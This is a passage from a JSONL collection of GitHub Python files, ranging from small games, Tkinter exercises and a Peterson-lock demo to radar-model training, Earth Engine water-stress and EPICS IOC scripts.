(self.player1.choice == 'rock' and self.player2.choice == 'lizard') or \\\n (self.player1.choice == 'lizard' and self.player2.choice == 'spock') or \\\n (self.player1.choice == 'spock' and self.player2.choice == 'scissors') or \\\n (self.player1.choice == 'lizard' and self.player2.choice == 'paper') or \\\n (self.player1.choice == 'paper' and self.player2.choice == 'spock') or \\\n (self.player1.choice == 'spock' and self.player2.choice == 'rock') or \\\n (self.player1.choice == 'scissors' and self.player2.choice == 'lizard'):\n self.player1.score += 1\n print(f'{self.player1.choice} beats! {self.player2.choice} player 1 won that round!!')\n print(f'score is Player 1: {self.player1.score} Player 2: {self.player2.score}')\n else:\n self.player2.score += 1\n print(f'{self.player2.choice} beats! {self.player1.choice} player 2 won that round!!')\n print(f'score is Player 1: {self.player1.score} Player 2: {self.player2.score}')\n \n\n def restart(self):\n self.play_again = input('would you like to play agian? yes or no: ').lower()\n if self.play_again == 'yes':\n self.player1.score = 0\n self.player2.score = 0\n self.run_game()\n elif self.play_again == 'no':\n print('thanks for playing!')\n else:\n print('invalid input please, choose yes or no!')\n self.restart()","repo_name":"giuseppe-g-gelardi/rpsls_project","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"22734875274","text":"'''Faça um programa que leia 5 valores numericoa e guarde-os em uma lista.\nNo final, mostre e o menor valores digitados e as sus respectivas posições na lista'''\n\nvalores = list()\nmaior = menor = 0\nfor cont in range(0, 5):\n valores.append(int(input('Digite um valor: ')))\n if cont == 0:\n maior = menor = valores[cont]\n else:\n if valores[cont] > maior:\n maior = valores[cont]\n if valores[cont] < menor:\n menor = valores[cont]\nprint(f'Você digitou os valores {valores}')\nprint(f'O maior valor digitado foi {maior} nas posições', end=' ')\nfor i, v in enumerate(valores):\n if v == maior:\n print(f'{i}...', end=' ')\nprint(f'\\nO menor valor digitado foi {menor} nas posições ', end=' ')\nfor i, v in enumerate(valores):\n if v == menor:\n print(f'{i}...', end=' ')\n","repo_name":"Murilo831/Aulas-python-modulo-3","sub_path":"aula_17/ex078.py","file_name":"ex078.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4747246084","text":"import numpy as np\r\n# Gravity\r\ngravx = 0\r\ngravy = 0\r\ngravz = -9.8\r\n\r\n# Steps/In Loop\r\nsteps = 2000\r\nmotorstr = 100\r\nsleep_time = 1/2000\r\n\r\n\r\n\r\n# Hill Climber\r\nnum_gens = 2\r\npopsize = 1\r\nsensneurons = 25\r\nmotneurons = 25\r\nmotorJointRange = 0.5\r\n\r\nmaximumAddedParts = 5\r\n\r\n\r\n# Random Generation\r\nminSide = 0.25\r\nmaxSide = 1\r\nminParts = 1\r\nmaxParts = 2\r\n\r\n","repo_name":"alexsaavedraa/Exploration-Of-Genetic-Algorithm-Efficiency","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19483536835","text":"import os\n\nfrom PyQt4 import QtGui, uic\n\nFORM_CLASS, _ = uic.loadUiType(os.path.join(\n os.path.dirname(__file__), 'mesa_wildfire_loader_dialog_base.ui'))\n\n\nclass MESAWildfireLoaderDialog(QtGui.QDialog, FORM_CLASS):\n def __init__(self, parent=None):\n \"\"\"Constructor.\"\"\"\n super(MESAWildfireLoaderDialog, self).__init__(parent)\n # Set up the user interface from Designer.\n # After setupUI you can access any designer object by doing\n # self., and you can use autoconnect slots - see\n # http://qt-project.org/doc/qt-4.8/designer-using-a-ui-file.html\n # #widgets-and-dialogs-with-auto-connect\n self.setupUi(self)\n","repo_name":"MESASADC/MESAWildfireLoader","sub_path":"mesa_wildfire_loader_dialog.py","file_name":"mesa_wildfire_loader_dialog.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40517634192","text":"# a117_grades.py\r\n\r\nmy_courses = [\"English\", \"Math\", \"CS\"]\r\n\r\ncheck_grades = 0\r\nwhile (check_grades < 0):\r\n print(\"Hello student.\") \r\n print(\"Enter your points for\", my_courses, \".\")\r\n\r\na = int(input(\"Points ->\"))\r\nfor course in my_courses:\r\n if (a >= 90):\r\n print(\"A\")\r\n elif (a >= 80):\r\n print(\"B\")\r\n elif(a >= 70):\r\n print(\"C\")\r\n elif (a >= 60):\r\n print(\"D\")\r\n else:\r\n print(\"F\")\r\n redo = input(\"Do you need to re-do these grades? (yes/no)\")\r\n if (redo == \"yes\"):\r\n a = int(input(\"Points ->\"))\r\n else:\r\n print(\"Ok, good job!\")\r\n \r\n","repo_name":"riley-csp-2019-20/1-1-7-turtles-in-traffic-LaylaNetta74216","sub_path":"117.LaylaNettavong.py","file_name":"117.LaylaNettavong.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38121686030","text":"def get_uptime_seconds():\n from re import search\n from vyos.util import read_file\n\n data = read_file(\"/proc/uptime\")\n seconds = search(\"([0-9\\.]+)\\s\", data).group(1)\n\n return int(float(seconds))\n\ndef get_load_averages():\n from re import search\n from vyos.util import cmd\n\n data = cmd(\"uptime\")\n matches = search(r\"load average:\\s*(?P[0-9\\.]+)\\s*,\\s*(?P[0-9\\.]+)\\s*,\\s*(?P[0-9\\.]+)\\s*\", data)\n\n res = {}\n res[1] = float(matches[\"one\"])\n res[5] = float(matches[\"five\"])\n res[15] = float(matches[\"fifteen\"])\n\n return res\n\nif __name__ == '__main__':\n from vyos.util import seconds_to_human\n\n print(\"Uptime: {}\\n\".format(seconds_to_human(get_uptime_seconds())))\n\n avgs = get_load_averages()\n\n print(\"Load averages:\")\n print(\"1 minute: {:.02f}%\".format(avgs[1]*100))\n print(\"5 minutes: {:.02f}%\".format(avgs[5]*100))\n print(\"15 minutes: {:.02f}%\".format(avgs[15]*100))\n","repo_name":"justsecure/vyos-1x","sub_path":"src/op_mode/show_uptime.py","file_name":"show_uptime.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"39978507011","text":"import sys, os\n\nsys.path.append(os.path.abspath(os.path.join(__file__, \"..\", \"..\")))\n\nimport time\nfrom utils import LoadData, WriteData, Params, VisualizeData\nfrom sup_models import DCNN_MFS, GMFN, MDFRadarNet, TSFNet, LabelSmoothing\nfrom sup_train import sup1_train, sup2_train\n\nimport torch.optim as optim\nimport torch\nimport torch.nn as nn\nimport torch.backends.cudnn as cudnn\nfrom torch.autograd import Variable\n# from matplotlib import pyplot as plt\nfrom sklearn.manifold import TSNE\nfrom torch.utils.data import random_split, DataLoader\nimport numpy as np\n\n# random seed\nif Params.seed_flag is not None:\n np.random.seed(Params.seed_flag)\n torch.manual_seed(Params.seed_flag)\n torch.cuda.manual_seed(Params.seed_flag)\n cudnn.deterministic = True\n\ncudnn.benchmark = True # to enhance efficiency\n\n\n# root_dir = ['/home/yuxl/xl_project/BaseDataset/Domain_2'] # BaseDataset\n\n# root_dir = ['/home/djf/xl_project/BaseDataset/Domain_1', '/home/djf/xl_project/BaseDataset/Domain_5']\n\nroot_dir = ['/home/yuxl/xl_project/BaseDataset/Domain_1', '/home/yuxl/xl_project/BaseDataset/Domain_3', '/home/yuxl/xl_project/BaseDataset/Domain_5']\n\ntest_dir = ['/home/yuxl/xl_project/BaseDataset/Domain_2']\n\n# dataset split\ntr_train_dataset = LoadData.CustomDataset(root_dir=root_dir, transform=True, view_type='TR', data_type='train')\ntr_val_dataset = LoadData.CustomDataset(root_dir=root_dir, transform=True, view_type='TR', data_type='val')\ntr_test_dataset = LoadData.CustomDataset1(root_dir=test_dir, transform=True, view_type='TR', data_type='test')\n\ntd_train_dataset = LoadData.CustomDataset(root_dir=root_dir, transform=True, view_type='TD', data_type='train')\ntd_val_dataset = LoadData.CustomDataset(root_dir=root_dir, transform=True, view_type='TD', data_type='val')\ntd_test_dataset = LoadData.CustomDataset1(root_dir=test_dir, transform=True, view_type='TD', data_type='test')\n\ncvd_train_dataset = LoadData.CustomDataset(root_dir=root_dir, transform=True, view_type='CVD', data_type='train')\ncvd_val_dataset = LoadData.CustomDataset(root_dir=root_dir, transform=True, view_type='CVD', data_type='val')\ncvd_test_dataset = LoadData.CustomDataset1(root_dir=test_dir, transform=True, view_type='CVD', data_type='test')\n\ntrain_dataset = {'tr': tr_train_dataset, 'td': td_train_dataset, 'cvd': cvd_train_dataset}\nval_dataset = {'tr': tr_val_dataset, 'td': td_val_dataset, 'cvd': cvd_val_dataset}\ntest_dataset = {'tr': tr_test_dataset, 'td': td_test_dataset, 'cvd': cvd_test_dataset}\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n# model = GMFN.GMFN()\n#model = DCNN_MFS.DCNN_MFS()\n# model = MDFRadarNet.MDFRadarNet()\n\n# model = TSFNet.TSFNet()\nmodel = ADGCN.ADGCN()\nif Params.use_gpu:\n model.to(device)\n \n# optimizer = optim.SGD(model.parameters(), lr=Params.learning_rate, momentum=Params.momentum, weight_decay=Params.weight_decay)\noptimizer = optim.Adam(model.parameters(), lr=Params.learning_rate, weight_decay=Params.weight_decay)\nlr_scheduler = optim.lr_scheduler.LambdaLR(optimizer, lambda x: Params.learning_rate * (1. + Params.lr_gamma *\n float(x)) ** (-Params.lr_decay))\ncls_criterion = LabelSmoothing.labelsmoothing()\n# cls_criterion = nn.CrossEntropyLoss()\n\ndef my_main_1(save_path): # designed for other multi-domain fusion models\n indices1 = torch.randperm(len(tr_train_dataset))\n mySampler1 = LoadData.SamplerDef(indices=indices1)\n indices2 = torch.randperm(len(tr_val_dataset))\n mySampler2 = LoadData.SamplerDef(indices=indices2)\n train_dataloader = LoadData.get_dataloader(train_dataset, batch_size=Params.train_batch_size, joint_idx=mySampler1)\n val_dataloader = LoadData.get_dataloader(val_dataset, batch_size=Params.train_batch_size, joint_idx=mySampler2)\n \n train_hist = {'train_acc': [], 'train_loss': []}\n val_hist = {'val_acc': [], 'val_loss': []}\n best_acc = 0.\n count_overfitting = 0\n\n for epoch in range(Params.epochs):\n t0 = time.time()\n print(\"Epoch:{}\".format(epoch))\n sup1_train.train(train_dataloader, model, device, cls_criterion, optimizer, lr_scheduler, train_hist)\n WriteData.write_data_to_csv(save_path, train_hist, data_type='train', epoch=epoch)\n t1 = time.time() - t0\n sup1_train.validate(val_dataloader, model, device, cls_criterion, val_hist)\n WriteData.write_data_to_csv(save_path, val_hist, data_type='val', epoch=epoch)\n print(\"Training Time Cost:{:.4f}s\".format(t1))\n\n if val_hist['val_acc'][-1] > best_acc:\n best_acc = val_hist['val_acc'][-1]\n print(\"---- Best Accuracy: {:.4f} ----\".format(best_acc))\n torch.save(model, save_path + 'model.pth')\n count_overfitting = 0\n else:\n count_overfitting += 1\n\n if count_overfitting == Params.overfitting_threshold:\n break\n \n \ndef my_main_2(save_path): # designed for TSFNet\n indices1 = torch.randperm(len(tr_train_dataset))\n mySampler1 = LoadData.SamplerDef(indices=indices1)\n indices2 = torch.randperm(len(tr_val_dataset))\n mySampler2 = LoadData.SamplerDef(indices=indices2)\n train_dataloader = LoadData.get_dataloader(train_dataset, batch_size=Params.train_batch_size, joint_idx=mySampler1)\n val_dataloader = LoadData.get_dataloader(val_dataset, batch_size=Params.train_batch_size, joint_idx=mySampler2)\n\n train_hist = {'train_acc': [], 'train_loss': []}\n val_hist = {'val_acc': [], 'val_loss': []}\n best_acc = 0.\n count_overfitting = 0\n\n for epoch in range(Params.epochs):\n t0 = time.time()\n print(\"Epoch:{}\".format(epoch))\n sup2_train.train(train_dataloader, model, device, cls_criterion, optimizer, lr_scheduler, train_hist)\n WriteData.write_data_to_csv(save_path, train_hist, data_type='train', epoch=epoch)\n t1 = time.time() - t0\n sup1_train.validate(val_dataloader, model, device, cls_criterion, val_hist)\n WriteData.write_data_to_csv(save_path, val_hist, data_type='val', epoch=epoch)\n print(\"Training Time Cost:{:.4f}s\".format(t1))\n\n if val_hist['val_acc'][-1] > best_acc:\n best_acc = val_hist['val_acc'][-1]\n print(\"---- Best Accuracy: {:.4f} ----\".format(best_acc))\n torch.save(model, save_path + 'model.pth')\n count_overfitting = 0\n else:\n count_overfitting += 1\n\n if count_overfitting == Params.overfitting_threshold:\n break\n\n\n# write predicted results into csv\ndef write_result_csv(model_path, csv_path):\n model_path += 'model.pth'\n model = torch.load(model_path)\n\n train_dataset = {'tr': tr_train_dataset, 'td': td_train_dataset, 'cvd': cvd_train_dataset}\n test_dataset = {'tr': tr_test_dataset, 'td': td_test_dataset, 'cvd': cvd_test_dataset}\n\n train_indices = torch.randperm(len(tr_train_dataset))\n test_indices = torch.randperm(len(tr_test_dataset))\n mySampler1 = LoadData.SamplerDef(indices=train_indices)\n mySampler2 = LoadData.SamplerDef(indices=test_indices)\n\n src_test_dataloader = LoadData.get_dataloader(train_dataset, batch_size=1, joint_idx=mySampler1)\n tgt_test_dataloader = LoadData.get_dataloader(test_dataset, batch_size=1, joint_idx=mySampler2)\n\n pred_hist = {'image_path': [], 'real_label': [], 'predict_label': [], 'logit_vector': []}\n sup1_train.predict(src_test_dataloader, model, device, pred_hist)\n WriteData.write_data_to_csv(csv_path, pred_hist, data_type='test', epoch='train')\n\n pred_hist = {'image_path': [], 'real_label': [], 'predict_label': [], 'logit_vector': []}\n sup1_train.predict(tgt_test_dataloader, model, device, pred_hist)\n WriteData.write_data_to_csv(csv_path, pred_hist, data_type='test', epoch='test')\n\n\n\nif __name__ == '__main__':\n # save_path = '/home/djf/xl_project/Mycode/logs/ADGCN/6/' # MDFRadarNet\n # save_path = '/home/djf/xl_project/Mycode/base_logs/DCNN_MFS/2/' # MDFRadarNet\n # save_path = '/home/yuxl/xl_project/Mycode/test_logs/DCNNMFS/135/' # MDFRadarNet\n save_path = '/home/yuxl/xl_project/Mycode/abl_logs/ADGCN/135_5_4/' # MDFRadarNet\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n #my_main_1(save_path)\n # write_result_csv(save_path, save_path)\n # VisualizeData.supervised_tsne(train_dataset, test_dataset, save_path)\n #VisualizeData.supervised_tsne1(test_dataset, save_path)\n VisualizeData.supervised_cmap(test_dataset, save_path)\n # model = torch.load(\"/home/djf/xl_project/Mycode/logs/ADGCN/1/model.pth\")\n # print(model)\n\n","repo_name":"DingdongD/SIMFNet","sub_path":"Mains/OurModels/SIMFNet/mains/main_file.py","file_name":"main_file.py","file_ext":"py","file_size_in_byte":8547,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"54"} +{"seq_id":"31626710625","text":"from tkinter import *\r\n\r\nroot = Tk()\r\n\r\nroot.geometry(\"300x300\")\r\n\r\nroot.configure(background=\"green\")\r\n\r\nvar=DoubleVar()\r\n\r\nscale=Scale(root, variable = var,activebackground=\"blue\",bg=\"red\",bd=10)\r\nscale.pack(anchor=CENTER)\r\n\r\nroot.mainloop()\r\n","repo_name":"Adarsh01111/TKinter","sub_path":"Tkinter Examples/scrollbar.py","file_name":"scrollbar.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23529703024","text":"from tkinter import *\nfrom PIL import Image, ImageTk\n\ndef question1():\n def sel():\n \"\"\"1 ans\"\"\"\n if str(var.get()) == \"1\":\n print(\"no\")\n\n elif str(var.get()) == \"2\":\n print(\"no\")\n\n elif str(var.get()) == \"3\":\n print(\"yes\")\n\n elif str(var.get()) == \"4\":\n print(\"no\")\n\n root = Tk()\n root.title(\"question\") # ชื่อ\n root.geometry(\"600x500\")\n root.option_add(\"*font\", \"Opun-Mai-Thin 10 bold\")\n\n canvas = Canvas(root, width=600, height=500)\n canvas.pack()\n\n photo = ImageTk.PhotoImage(Image.open('Q2.png'))\n canvas.create_image(300, 250, image=photo)\n #frame = Frame(root)\n #frame.config(background=\"#FFCDCD\")\n #frame.place(width=600, height=500, x=0, y=0)\n #root.option_add(\"*foreground\", \"navy\")\n # label1 = Label(root, text=\"QUESTION ?\", width=15, height=2, bg=\"white\")\n # canvas.create_window(300, 40, anchor='center', window=label1)\n #label1.grid(column=0, row=0, columnspan=2, padx=15, pady=30)\n label2 = Label(root, text=\" set1 = {'tee', 'noey' ,'por', 'noyna'}\", width=38, height = 1)\n canvas.create_window(300, 70, anchor='center', window=label2)\n label3 = Label(root, text=\" set2 = {'noey', 'sunthon', 'noyna', 'pop'}\", width=38, height = 1)\n canvas.create_window(300, 90, anchor='center', window=label3)\n label4 = Label(root, text=\"intersec = set1.intersection(set2)\", width=38, height = 1)\n canvas.create_window(300, 110, anchor='center', window=label4)\n label5 = Label(root, text=\"for data in intersec: \", width=38, height = 1)\n canvas.create_window(300, 130, anchor='center', window=label5)\n label6 = Label(root, text=\"print(data) \", width=38, height = 1)\n canvas.create_window(300, 150, anchor='center', window=label6)\n #label2.grid(column=0, row=1, columnspan=3, padx=10, pady=3)\n var = IntVar()\n r1 = Radiobutton(root, text=\"tee \\nsunthon \", width=15, height=3, variable=var, value=1,\n bg=\"white\", activebackground='red', command=sel) # คำตอบแรก active bg = เปลี่ยนสีปุ่มตอนกด\n canvas.create_window(300, 210, anchor='center', window=r1)\n #r1.grid(column=0, row=2, padx=75, pady=30,)\n r2 = Radiobutton(root, text=\"sunthon \\nnoyna \", width=15, height=3,variable=var, value=2, bg=\"white\", activebackground='red',command = sel) # คำตอบสอง\n canvas.create_window(300, 275, anchor='center', window=r2)\n #r2.grid(column=1, row=2, padx=75, pady=15)\n r3 = Radiobutton(root, text=\"noey \\nnoyna \", width=15, height=3,variable=var, value=3, bg=\"white\", activebackground='green',command = sel) # คำตอบสาม\n canvas.create_window(300, 340, anchor='center', window=r3)\n #r3.grid(column=0, row=3, padx=15, pady=15)\n r4 = Radiobutton(root, text=\"por \\nnoey \", width=15, height=3, variable=var,\n value=4, bg=\"white\", activebackground='red', command=sel) # คำตอบสาม\n canvas.create_window(300, 405, anchor='center', window=r4)\n #r4.grid(column=1, row=3, padx=15, pady=15)\n label = Label(root)\n label.pack()\n root.mainloop()\nquestion1()\n","repo_name":"rujrawee11/projectPython","sub_path":"question_9.py","file_name":"question_9.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"9802538995","text":"\n# coding: utf-8\n\n# # Y2017M12D12_RH_Water_Stress_V02\n# \n# * Purpose of script: Calculate water stress using maximum discharge and total withdrawals \n# * Kernel used: python27\n# * Date created: 20171212\n\n# In[2]:\n\nimport time, datetime, sys\ndateString = time.strftime(\"Y%YM%mD%d\")\ntimeString = time.strftime(\"UTC %H:%M\")\nstart = datetime.datetime.now()\nprint(dateString,timeString)\nsys.version\n\n\n# In[31]:\n\nEE_PATH = \"projects/WRI-Aquaduct/PCRGlobWB20V07\"\n\nSCRIPT_NAME = \"Y2017M12D12_RH_Water_Stress_V02\"\n\nOUTPUT_VERSION = 1\n\nPFAF_LEVEL = 6\n\nYEARMIN = 1960\nYEARMAX = 1960\n\n\n# In[4]:\n\nimport ee\nimport subprocess\nimport pandas as pd\nimport logging\nimport subprocess\n\n\n# In[5]:\n\nee.Initialize()\n\n\n# In[8]:\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\nformatter = logging.Formatter('%(asctime)s:%(levelname)s:%(message)s')\nfile_handler = logging.FileHandler(\"./logs/%sV%0.2d.log\" %(SCRIPT_NAME,OUTPUT_VERSION))\nfile_handler.setFormatter(formatter)\nlogger.addHandler(file_handler)\n\n\n# In[67]:\n\ngeometrySmall = ee.Geometry.Polygon(coords=[[-180.0, -81.0], [180, -81.0], [180, 81], [-180,81]], proj= ee.Projection('EPSG:4326'),geodesic=False )\n\n\n# In[ ]:\n\n\n\n\n# In[89]:\n\ndef createIndicatorDataFrame():\n df = pd.DataFrame()\n for temporalResolution in temporalResolutions:\n newRow = {}\n newRow[\"temporalResolution\"] = temporalResolution\n newRow[\"icWW\"] = \"%s/global_historical_PTotWW_%s_m_pfaf%0.2d_1960_2014\" %(EE_PATH,temporalResolution,PFAF_LEVEL)\n newRow[\"icQ\"] = \"%s/global_historical_availableriverdischarge_%s_millionm3_5minPfaf%0.1d_1960_2014\" %(EE_PATH,temporalResolution,PFAF_LEVEL)\n newRow[\"newIcId\"] = \"%s/global_historical_WS_%s_dimensionless_30sPfaf%0.2d_1960_2014\" %(EE_PATH,temporalResolution,PFAF_LEVEL)\n df = df.append(newRow,ignore_index=True)\n return df\n\n\ndef createCollections(newIcId): \n command = \"earthengine create collection %s\" %(newIcId) \n print(command)\n result = subprocess.check_output(command,shell=True)\n if result:\n pass\n logger.error(result)\n \ndef ensure_default_properties(obj): \n obj = ee.Dictionary(obj)\n default_properties = ee.Dictionary({\"mean\": -9999,\"count\": -9999})\n return default_properties.combine(obj)\n\ndef mapList(results, key):\n newResult = results.map(lambda x: ee.Dictionary(x).get(key))\n return newResult\n \n \ndef zonalStatsToRaster(image,zonesImage,geometry,maxPixels,reducerType):\n # reducertype can be mean, max, sum, first. Count is always included for QA\n # the resolution of the zonesimage is used for scale\n\n reducer = ee.Algorithms.If(ee.Algorithms.IsEqual(reducerType,\"mean\"),ee.Reducer.mean(),\n ee.Algorithms.If(ee.Algorithms.IsEqual(reducerType,\"max\"),ee.Reducer.max(),\n ee.Algorithms.If(ee.Algorithms.IsEqual(reducerType,\"sum\"),ee.Reducer.sum(),\n ee.Algorithms.If(ee.Algorithms.IsEqual(reducerType,\"first\"),ee.Reducer.first(),\n ee.Algorithms.If(ee.Algorithms.IsEqual(reducerType,\"mode\"),ee.Reducer.mode(),\"error\"))))\n )\n reducer = ee.Reducer(reducer).combine(reducer2= ee.Reducer.count(), sharedInputs= True).group(groupField=1, groupName=\"zones\") \n\n scale = zonesImage.projection().nominalScale().getInfo()\n zonesImage = zonesImage.select(zonesImage.bandNames(),[\"zones\"])\n\n totalImage = ee.Image(image).addBands(zonesImage)\n resultsList = ee.List(totalImage.reduceRegion(\n geometry= geometry, \n reducer= reducer,\n scale= scale,\n maxPixels=maxPixels\n ).get(\"groups\"))\n\n resultsList = resultsList.map(ensure_default_properties); \n zoneList = mapList(resultsList, 'zones');\n countList = mapList(resultsList, 'count');\n valueList = mapList(resultsList, reducerType);\n\n valueImage = zonesImage.remap(zoneList, valueList).select([\"remapped\"],[reducerType])\n countImage = zonesImage.remap(zoneList, countList).select([\"remapped\"],[\"count\"])\n newImage = zonesImage.addBands(countImage).addBands(valueImage)\n return newImage,zoneList,valueList,countList\n\n\n\n \n\n\n# In[98]:\n\narea30s = ee.Image(\"projects/WRI-Aquaduct/PCRGlobWB20V07/area_30s_m2V11\")\nzones30s = ee.Image(\"projects/WRI-Aquaduct/PCRGlobWB20V07/hybas_lev00_v1c_merged_fiona_30s_V01\")\nzones30s = zones30s.divide(ee.Number(10).pow(ee.Number(12).subtract(PFAF_LEVEL))).floor().toInt64();\n\ncrs30s = area30s.projection()\n\n\n# In[99]:\n\ncrs30s.getInfo()\n\n\n# In[87]:\n\narea30sPfaf6,zoneList,valueList,countList = zonalStatsToRaster(area30s,zones30s,geometrySmall,1e10,\"sum\")\n\n\n# In[79]:\n\ndictionary = dict(zip(zoneList.getInfo(), valueList.getInfo()))\n\n\n# In[88]:\n\narea30sPfaf6_m2 = area30sPfaf6.select([\"sum\"]) # image at 30s with area in m^2 per basin\n\n\n# In[90]:\n\ntemporalResolutions = [\"year\",\"month\"]\n\n\n# In[91]:\n\ndf = createIndicatorDataFrame()\n\n\n# In[92]:\n\ndf.head()\n\n\n# In[101]:\n\nfor index, row in df.iterrows():\n if row[\"temporalResolution\"] == \"year\":\n createCollections(row[\"newIcId\"]) \n icQ = ee.ImageCollection(row[\"icQ\"])\n icWW = ee.ImageCollection(row[\"icWW\"])\n \n month =12\n for year in range(YEARMIN,YEARMAX+1):\n iQ = ee.Image(icQ.filter(ee.Filter.eq(\"year\",year)).first()) #\n iQmax = iQ.select([\"max\"]) # maximum discharge per basin in million m^3\n iQsum = iQ.select([\"sum\"]) # sum discharge per basin in million m^3 of all sinks as identied. \n \n iQsum30s = iQsum.reduceResolution(\n reducer = ee.Reducer.mode(),\n maxPixels = 1024\n ).reproject(\n crs = crs30s\n )\n \n \n \n elif row[\"temporalResolution\"] == \"month\": \n createCollections(row[\"newIcId\"])\n icQ = ee.ImageCollection(row[\"icQ\"])\n icWW = ee.ImageCollection(row[\"icWW\"])\n \n for year in range(YEARMIN,YEARMAX+1): \n for month in range(1,13):\n print(year,month)\n\n\n# In[ ]:\n\n\n\n","repo_name":"wri/Aqueduct30Docker","sub_path":"notebooks/production/Y2017M12D12_RH_Water_Stress_V02.py","file_name":"Y2017M12D12_RH_Water_Stress_V02.py","file_ext":"py","file_size_in_byte":5964,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"54"} +{"seq_id":"3329898590","text":"\"\"\"Main IOC module.\"\"\"\n\nimport sys\nimport os\nimport traceback\nfrom threading import Thread as _Thread\nimport pcaspy\n\nfrom . import constants as _cte\nfrom . import iocDriver\nfrom . import epu_db\nfrom . import save_restore\n\n\ndef run(args):\n \"\"\".\"\"\"\n # create CA server\n server = pcaspy.SimpleServer()\n\n # config access security\n server.initAccessSecurityFile(_cte.access_security_filename, PREFIX=args.pv_prefix)\n\n # instantiate PV database\n server.createPV(args.pv_prefix, epu_db.pvdb)\n\n # create pcaspy driver\n driver = iocDriver.EPUSupport(args)\n\n # restore saved PV values\n restore = _Thread(\n target=save_restore.restore_after_delay,\n args=(\n args.autosave_request_file, # request file name\n args.pv_prefix, # pv prefix\n args.autosave_dir, # save directory\n 5.0, # delay before restoring\n ),\n daemon=True,\n )\n restore.start()\n\n # start autosave\n autosave = _Thread(\n target=save_restore.save_monitor_with_delay,\n args=(\n args.autosave_request_file, # request file name\n args.pv_prefix, # pv prefix\n args.autosave_dir, # save directory\n _cte.autosave_update_rate, # save update period\n _cte.autosave_num_backup_files, # max number of backup files\n 10.0, # delay before monitoring start\n ),\n daemon=True,\n )\n autosave.start()\n\n while True:\n try:\n # process CA transactions\n server.process(_cte.ca_process_rate)\n except Exception:\n traceback.print_exc(file=sys.stdout)\n os._exit(0)\n","repo_name":"lnls-sirius/machine-applications","sub_path":"si-id-epu50/si_id_epu50/si_id_epu50.py","file_name":"si_id_epu50.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"8935705326","text":"#!/usr/bin/python3\n\nimport threading\n\ncounter = 0\nflag1 = [False, \"flag1\"]\nflag2 = [False, \"flag2\"]\nturn = 1\n\ndef block_it(my_flag, its_flag, its_turn):\n my_flag[0] = True\n turn = its_turn\n\n while (its_flag[0] and turn == its_turn):\n pass\n\n\ndef unblock_it(my_flag):\n if my_flag[1] == 'flag1':\n global flag1\n flag1[0] = False\n else:\n global flag2\n flag2[0] = False\n\n\nclass myThread (threading.Thread):\n\n\n def __init__(self, my_flag, its_flag, its_turn):\n threading.Thread.__init__(self)\n self.my_flag = my_flag\n self.its_flag = its_flag\n self.its_turn = its_turn\n\n\n def run(self):\n global counter\n\n block_it(self.my_flag, self.its_flag, self.its_turn)\n\n for _ in range(0,100_000):\n counter += 1\n\n unblock_it(self.my_flag)\n\n\n# Create new threads\nthread1 = myThread(flag1, flag2, 1)\nthread2 = myThread(flag2, flag1, 2)\n\n# Start new Threads\nthread1.start()\nthread2.start()\n\nthread1.join()\nthread2.join()\n\nprint(f'Value of counter variable: {counter}')\n\nprint (\"Exiting Main Thread\")","repo_name":"AntonHub00/seventh-semester","sub_path":"operative_systems/unit_2/peterson_algorithm_demo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"32016771508","text":"import pandas as pd\nimport numpy as np\nfrom pandas import DataFrame\nfrom typing import List, Dict\nfrom tqdm import tqdm\nfrom datetime import timedelta\n\ndef add_data_daily(data):\n df = data\n\n #setup variables\n last_break=0\n last_scr_td=timedelta(hours=0,minutes=0)\n sleeptime=0\n screen_counter=0\n\n #only look at screen data\n screendf=df[df['variable'].str.contains('screen')]\n #look at the first current date\n current_date=screendf.iloc[0]['time'].date()\n\n #iterate over screen data\n for screenstamp in screendf.iterrows():\n #increase screen watch counter\n screen_counter+=1\n \n #get the time\n screen_watch=(screenstamp[1]['time'])\n\n #if we're at a new date, ad a row to the dataframe to signify amount of screenwatches\n if current_date!=screen_watch.date():\n last_date=current_date\n d ={'id':[screenstamp[1]['id']],'time':[current_date],'variable':[\"amount_screen\"],'value':[screen_counter]}\n dataf = pd.DataFrame(data=d)\n data=pd.concat([data,dataf], ignore_index=True)\n screen_counter=0\n #update current_date\n current_date=screen_watch.date()\n \n\n\n #iterate over screen data\n for screenstamp in screendf.iterrows():\n screen_watch=(screenstamp[1]['time'])\n\n\n current_date=screen_watch.date()\n scr_td = timedelta(hours=screen_watch.hour, minutes=screen_watch.minute)\n #after 9 pm, go to sleep\n if (screen_watch.hour)>=21:\n last_break=0\n sleeptime=1\n \n #if there's a last screen timedelta object, compare the two, if the difference between them is bigger than last_break, update it\n if last_scr_td:\n new_last_break=(scr_td-last_scr_td).seconds\n if new_last_break>last_break:\n last_break=new_last_break\n last_scr_td=timedelta(hours=screen_watch.hour, minutes=screen_watch.minute)\n \n #if it's waking time, we update the dataframe, and put 